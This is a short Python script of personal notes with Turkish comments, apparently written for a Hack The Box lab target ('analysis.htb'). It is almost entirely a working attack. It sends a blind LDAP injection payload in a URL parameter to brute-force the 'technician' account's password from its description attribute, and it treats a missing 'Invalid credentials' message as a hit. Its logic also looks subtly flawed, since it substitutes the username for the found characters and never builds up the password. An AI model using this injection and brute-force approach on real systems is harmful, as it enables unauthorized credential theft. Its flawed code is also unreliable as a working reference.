Notes

import requests
import urllib.parse

def blind_ldap_bruteforce(base_url, username, password_candidate):
modified_url = base_url.replace("{FUZZ}", password_candidate).replace("{found_char}", username)
response = requests.get(modified_url)

# Eğer yanıtın içinde belirli bir hata mesajı varsa (örneğin, "Invalid credentials"), başarısız deneme olarak kabul edebilirsiniz
if "Invalid credentials" in response.text:
return False
else:
return True

def main():
ldap_url = "http://internal.analysis.htb/users/list.php?name=*)(%26(objectClass=user)(description={found_char}{FUZZ}*)"
username = "technician" # Kullanıcı adını belirtin
charset_path = "karakter.txt" # Kullanılacak karakter seti dosyasının yolu
word_to_add = "users" # Karakter setine eklenecek kelime

# Karakter setini oluştur
charset = set()

# karakter.txt dosyasındaki karakterleri ekleyin
with open(charset_path, 'r') as file:
for char in file:
charset.add(char.strip())

# "users" kelimesini karakter setine ekle
charset.add(word_to_add)

# Şifre denemeleri
for password_candidate in charset:
if blind_ldap_bruteforce(ldap_url, username, password_candidate):
print(f"[+] Şifre Bulundu: {password_candidate}")
break # Şifre bulunduğunda döngüden çıkabilirsiniz

if __name__ == "__main__":
main()